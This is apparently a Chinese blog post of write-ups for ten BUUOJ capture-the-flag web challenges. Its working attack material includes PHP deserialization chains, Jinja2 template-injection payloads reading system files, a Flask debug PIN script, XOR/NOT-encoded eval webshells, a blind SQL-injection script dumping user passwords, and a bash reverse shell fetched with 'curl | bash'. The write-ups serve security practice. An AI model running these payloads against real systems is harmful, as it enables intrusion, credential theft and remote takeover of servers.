BUUOJ-Web题目-8

[GWCTF 2019]枯燥的抽奖

[MRCTF2020]Ezpop

[GYCTF2020]FlaskApp

[NPUCTF2020]ReadlezPHP

[极客大挑战 2019]RCE ME

[CISCN2019 华东南赛区]Web11

[BSidesCF 2019]Futurella

[CISCN2019 总决赛 Day2 Web1]Easyweb

[BJDCTF 2nd]duangShell

[BJDCTF 2nd]Schrödinger

[GWCTF 2019]枯燥的抽奖

访问check.php得到部分源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");

首先我们可以发现,这个种子的范围其实也不是特别的大。也就是说,我们可以想办法看看能不能爆破这个抽奖代码。

试试php_mt_seed来一波

1
2
3
4
5
6
7
8
9
10
str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"

qq = 'jLQ1zt3GS0'

for i in range(len(qq)):
for j2 in range(len(str_long1)):
if qq[i] == str_long1[j2]:
print("{0} {1} {2} {3} ".format(j2,j2,0,len(str_long1)-1),end='')

#9 9 0 61 47 47 0 61 52 52 0 61 27 27 0 61 25 25 0 61 19 19 0 61 29 29 0 61 42 42 0 61 54 54 0 61 26 26 0 61

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";

$qq = 'jLQ1zt3GS0';

$seed = 982096039;

$len1 = 20;

$str = '';

mt_srand($seed);

for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}

echo $str;

//9 9 0 61 47 47 0 61 52 52 0 61 27 27 0 61 25 25 0 61 19 19 0 61 29 29 0 61 42 42 0 61 54 54 0 61 26 26 0 61

image.png

注意:一定要使用php_mt_seed 4.0,低于这个版本会爆不出来

[MRCTF2020]Ezpop

给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
?>

里面原来的网址失效了,换个新网址

然后观察,发现Test类的__get方法支持在关键字未定义或私有/保护时执行函数;Modifier类的append方法可以触发include,但是需要输入参数,而__invoke方法可以无显式参数触发。所以方法大致也就明白了:构造Show类的一个对象,变量source是一个Show类对象;source其中变量str是一个Test类对象,指向的p是一个Modifier类对象,其var变量值是php://filter/convert.base64-encode/resource=flag.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class Modifier {
protected $var="php://filter/convert.base64-encode/resource=flag.php";
}

class Show{
public $source;
public $str;
}

class Test{
public $p;
}

$o = new Show();
$o->source=new Show();
$o->source->str=new Test();
$o->source->str->p=new Modifier();

print_r(serialize($o));

print_r(urlencode(serialize($o)));

执行流程:

反序列化启动

第一步:Show启动__wakeupsource被当成了字符串。

第二步:source是一个Show类对象,所以触发了source__toString方法,str被触发。

第三步:str是一个Test类对象,由于不存在source变量,所以__get被触发,把变量p当成函数启动。

第四步:p是一个Modifier类对象,被当成函数启动时触发__invoke,而var变量是伪协议读取,所以成功包含flag.php内容。

试验一下:

image.png

image.png

[GYCTF2020]FlaskApp

先看提示,F12一下看到提示是PIN。那就很有可能是用Flask错误页面的PIN调试来执行命令。

随便在解密输点东西,触发错误,确实可以在输入PIN后命令执行。

可以在debug界面看到一部分源码,比如:

1
2
3
4
5
6
7
8
9
10
11
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)
​ flash( res )

接下来就是算PIN了。有了之前的失败经验(GACTF2020 simpleflask),我们这把是要看好版本来做题。

不过在GACTF2020中存在非预期,我们也用非预期尝试一下。

先读源码

1
{{().__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__["open"]("app.py").read()}}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from flask import Flask,render_template_string
from flask import render_template,request,flash,redirect,url_for
from flask_wtf import FlaskForm
from wtforms import StringField, SubmitField
from wtforms.validators import DataRequired
from flask_bootstrap import Bootstrap
import base64

app = Flask(__name__)
app.config[&#39;SECRET_KEY&#39;] = &#39;s_e_c_r_e_t_k_e_y&#39;
bootstrap = Bootstrap(app)

class NameForm(FlaskForm):
text = StringField(&#39;BASE64加密&#39;,validators= [DataRequired()])
submit = SubmitField(&#39;提交&#39;)
class NameForm1(FlaskForm):
text = StringField(&#39;BASE64解密&#39;,validators= [DataRequired()])
submit = SubmitField(&#39;提交&#39;)

def waf(str):
black_list = [&#34;flag&#34;,&#34;os&#34;,&#34;system&#34;,&#34;popen&#34;,&#34;import&#34;,&#34;eval&#34;,&#34;chr&#34;,&#34;request&#34;,
&#34;subprocess&#34;,&#34;commands&#34;,&#34;socket&#34;,&#34;hex&#34;,&#34;base64&#34;,&#34;*&#34;,&#34;?&#34;]
for x in black_list :
if x in str.lower() :
return 1


@app.route(&#39;/hint&#39;,methods=[&#39;GET&#39;])
def hint():
txt = &#34;失败乃成功之母!!&#34;
return render_template(&#34;hint.html&#34;,txt = txt)


@app.route(&#39;/&#39;,methods=[&#39;POST&#39;,&#39;GET&#39;])
def encode():
if request.values.get(&#39;text&#39;) :
text = request.values.get(&#34;text&#34;)
text_decode = base64.b64encode(text.encode())
tmp = &#34;结果 :{0}&#34;.format(str(text_decode.decode()))
res = render_template_string(tmp)
flash(tmp)
return redirect(url_for(&#39;encode&#39;))

else :
text = &#34;&#34;
form = NameForm(text)
return render_template(&#34;index.html&#34;,form = form ,method = &#34;加密&#34; ,img = &#34;flask.png&#34;)

@app.route(&#39;/decode&#39;,methods=[&#39;POST&#39;,&#39;GET&#39;])
def decode():
if request.values.get(&#39;text&#39;) :
text = request.values.get(&#34;text&#34;)
text_decode = base64.b64decode(text.encode())
tmp = &#34;结果 : {0}&#34;.format(text_decode.decode())
if waf(tmp) :
flash(&#34;no no no !!&#34;)
return redirect(url_for(&#39;decode&#39;))
res = render_template_string(tmp)
flash( res )
return redirect(url_for(&#39;decode&#39;))

else :
text = &#34;&#34;
form = NameForm1(text)
return render_template(&#34;index.html&#34;,form = form, method = &#34;解密&#34; , img = &#34;flask1.png&#34;)


@app.route(&#39;/&lt;name&gt;&#39;,methods=[&#39;GET&#39;])
def not_found(name):
return render_template(&#34;404.html&#34;,name = name)

if __name__ == &#39;__main__&#39;:
app.run(host=&#34;0.0.0.0&#34;, port=5000, debug=True)

然后我们就需要绕过waf了。于是有了一些奇妙的绕过方式。

Payload1:字符串拼接绕过法

1
{{().__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__['__imp'+'ort__']('o'+'s').listdir('/')}}

Payload2:大小写转换绕过法(可用于GACTF2020,本题不可用)

1
{{().__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__['__IMPORT__'.lower()]('OS'.lower()).listdir('/')}}

这样就可以想办法读取到flag了。

不过还有一种PIN法。计算一下

注:参考合适的版本算出PIN,不同版本可能不一样

参考文件

1
2
3
4
5
6
7
{{().__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__["open"]("/etc/passwd").read()}}

{{().__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__["open"]("/etc/machine-id").read()}}

{{().__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__["open"]("/sys/class/net/eth0/address").read()}}

{{().__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__["open"]("/proc/self/cgroup").read()}}

找个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import hashlib
from itertools import chain
#用户名(读/etc/passwd)
#modname,默认不用改
#默认Flask
#Flask的app.py绝对路径(报错界面有)
probably_public_bits = [
'flaskweb',
'flask.app',
'Flask',
'/usr/local/lib/python3.7/site-packages/flask/app.py',
]

#MAC地址的十进制表示,一般是/sys/class/net/eth0/address
#/etc/machine-id或/proc/sys/kernel/random/boot_id,新版本要加/proc/self/cgroup
#还有一种情况,/etc/machine-id为空,而只有/proc/self/cgroup
private_bits = [
'2485410435244',
'aea896a98edd685dd46e869754f36fba51d2bc1890d6b0d7e2cb83048ed821dc'
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

image.png

[NPUCTF2020]ReadlezPHP

看源码,得知存在time.php?source

image.png

进入得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}

@$ppp = unserialize($_GET["data"]);

?>

看起来就是普通的反序列化。注意__construct不会在unserialize时执行。

构造一下完事。

1
time.php?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

image.png

[极客大挑战 2019]RCE ME

无字母数字的命令执行

可以考虑使用异或来拼凑命令,然后动态函数执行;取反也可以。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}

?>

这里提供一个结果比较长的异或脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
global $chrlist,$chrlen,$pc;
$chrlist = '!@#$%^&*()~_+-=`;:<>,./?|[]{} "';
$chrlen = strlen($chrlist);
$pc = array();

for($i=0;$i<$chrlen;$i++){
for($j=$i+1;$j<$chrlen;$j++){
if($i==$j)continue;
//print_r(substr($chrlist,$i,1).substr($chrlist,$j,1).':'.(substr($chrlist,$i,1)^substr($chrlist,$j,1)));
$pc[substr($chrlist,$i,1)^substr($chrlist,$j,1)]= "('".substr($chrlist,$i,1)."'^'".substr($chrlist,$j,1)."')";
}
}

function GetString($cmd){
global $chrlist,$pc;
$leng=strlen($cmd);
$cou_cmd = '';
for($i=0;$i<$leng;$i++){
//print_r(substr($cmd,$i,1));
//print_r($pc[substr($cmd,$i,1)]);
//print_r($pc[substr($cmd,$i,1)]);
if(strpos($chrlist,substr($cmd,$i,1))===false){
$cou_cmd = $cou_cmd . $pc[substr($cmd,$i,1)] . '.';
}
else {
$cou_cmd = $cou_cmd."'".substr($cmd,$i,1)."'.";
}
}
return $cou_cmd;
}

先取反一下:

image.png

phpinfo

1
?code=(~%8F%97%8F%96%91%99%90)();

得到phpinfo()。接下来我们来试一下shell

1
http://ccb2fc5e-5c62-4c04-96b2-3da202f00f69.node3.buuoj.cn/?code=('<..>//'^']]][][')(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6%D6);

前半段是异或assert,后半段是**(eval(\$_POST[a]))**的取反。这样就可以拿到shell了。

然后蚁剑连接,考虑到phpinfo显示是PHP7.0.*,所以可以用PHP7_GC_UAF来绕过disable_functions。然后启动/readflag得到flag

image.png

顺便说一下,根据这篇文章这篇文章assert在后期PHP版本似乎无法执行代码了。

[CISCN2019 华东南赛区]Web11

底部的Smarty暗示是用PHP Smarty搭建。那就有可能是模板注入了。

添加X-Forwarded-For,发现右上角的Current IP更改了。

image.png

那么我们试试写点别的东西

image.png

image.png

完事,直接想办法读flag

image.png

image.png

[BSidesCF 2019]Futurella

F12一键秒

image.png

[CISCN2019 总决赛 Day2 Web1]Easyweb

访问robots.txt,得到存在备份文件

image.png

image.php.bak,读取文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
?>

应该是个注入题,任意文件读取

然后卡住了,找个WP看看,人傻了

重写了可以判断大小写的盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
import sys
import requests
import string
import time

config_html = 'http://62e58df8-5446-41f7-bdb0-9e013f060a64.node3.buuoj.cn/image.php'

#config_html = 'http://requestbin.net/r/1gf5gin1'

config_method = 'GET'

config_key = 'path'

config_data = {
'id': '\\0',
'path' : 'OR id=if({0},1,0)#'
}

config_length = 'char_length({0}){1}'

config_line = 'ascii(substr({0},{1},1)){2}'

config_success_flag = 'JFIF'

config_failed_flag = ''

config_retry_time = 0.1

config_headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0',
'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'DNT':'1',
'Connection':'close'
}

config_data_range = string.digits + string.ascii_letters + '{}_,'

config_data_range = "".join((lambda x:(x.sort(),x)[1])(list(config_data_range)))

print(config_data_range)

def get(url,data):
if config_method == 'GET':
r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
else:
r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
while r.status_code != 200:
print('[-] Retry to connect...')
time.sleep(config_retry_time)
if config_method == 'GET':
r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
else:
r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
r.encoding = 'UTF-8'
#print(r.text)
if config_success_flag in r.text:
return True
elif config_failed_flag in r.text:
return False
else:
print('Error: method error!')
return False

def cfg_data(par):
data = config_data.copy()
data[config_key] = data[config_key].format(par)
return data

def concat_line_length(cmd,i):
return config_length.format(cmd,'>' + str(i))

def concat_line_value(cmd,i,nowlen):
return config_line.format(cmd,nowlen+1,'>' + str(ord(i)))

def get_length_line(cmd):
for i in range(0,255):
time.sleep(config_retry_time)
if get(url = config_html,data = cfg_data(concat_line_length(cmd,i))):
#print(cfg_data(concat_line_length(cmd,i)))
print('[-] {0} NOT length: {1}'.format(cmd,i))
continue
else:
print('[+] {0} length: {1}'.format(cmd,i))
return i
print('[-] Search Length Failed...')
return 0

def get_value_line(cmd,length,preline):
ret = list(preline)
for l in range(length - len(preline)):
#print(l,length-len(preline))
fg = False
for i in config_data_range:
#print(config_data_range)
#print(i)
time.sleep(config_retry_time)
#print(cfg_data(concat_line_value(cmd,i,l+len(preline))))
if get(url = config_html,data = cfg_data(concat_line_value(cmd,i,l+len(preline)))):
continue
else:
fg = True
ret.append(i)
#print(ret)
print('[+] {0} : {1}'.format(cmd,''.join(ret)))
break
if fg == False:
ret.append(config_data_range[-1])
print('[+] {0} : {1}'.format(cmd,''.join(ret)))
break
return ret

def database():
cmd = "database()"
#data_length = get_length_line(cmd)
data_length = 10
return get_value_line(cmd,data_length,'')

database()

def table():
cmd = "(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=CHAR(99, 105, 115, 99, 110, 102, 105, 110, 97, 108))"
#data_length = get_length_line(cmd)
data_length = 12
return get_value_line(cmd,data_length,'')

table()

def column():
cmd = "(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name = CHAR(117, 115, 101, 114, 115))"
data_length = get_length_line(cmd)
#data_length = 12
return get_value_line(cmd,data_length,'')

column()

def username():
cmd = "(SELECT group_concat(username) FROM users)"
data_length = get_length_line(cmd)
#data_length = 12
return get_value_line(cmd,data_length,'')

username()

def password():
cmd = "(SELECT group_concat(password) FROM users)"
data_length = get_length_line(cmd)
#data_length = 12
return get_value_line(cmd,data_length,'')

password()

image.png

image.png

登录后文件上传,短标签绕过。

image.png

image.png

[BJDCTF 2nd]duangShell

页面提示swp,所以打开**.index.php.swp**

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>give me a girl</title>
</head>
<body>
<center><h1>珍爱网</h1></center>
</body>
</html>
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
die("where is P3rh4ps's girl friend ???");
} else {
$girl = $_POST['girl_friend'];
if (preg_match('/\>|\\\/', $girl)) {
die('just girl');
} else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {
echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";
} else {
//duangShell~~~~
exec($girl);
}
}

没有办法直接获得返回内容,只能反弹shell

本来计划用requestbin带出来(没有禁用curl),但是没有外网,还是得反弹。

写shell,监听

原理在这篇文章有写

1
bash -i >& /dev/tcp/174.1.157.2/13000 0>&1

写到/var/www/html/index.txt里面

image.png

Payload:

1
curl http://174.1.157.2/index.txt | bash

image.png

find找到真实flag。

[BJDCTF 2nd]Schrödinger

注意隐藏的文字

image.png

似乎要删了这个,我们看看内容,发现是一个登录网站

那就爆一下,解包改Cookie为0的base64编码(我也不知道为什么)

然后得到密码

image.png

1
av11664517@1583985203

貌似是个b站视频,进去一下,北大量子力学

2020-3-12的评论有flag,为了方便大家,我就放下面了

1
Flag:BJD{Quantum_Mechanics_really_Ez}

Web题搞得跟Misc一样,表示很无语。。。


BUUOJ-Web题目-8
http://hexo.init-new-world.com/BUUOJ-Web-ti-mu-8
Author
John Doe
Posted on
October 6, 2020
Licensed under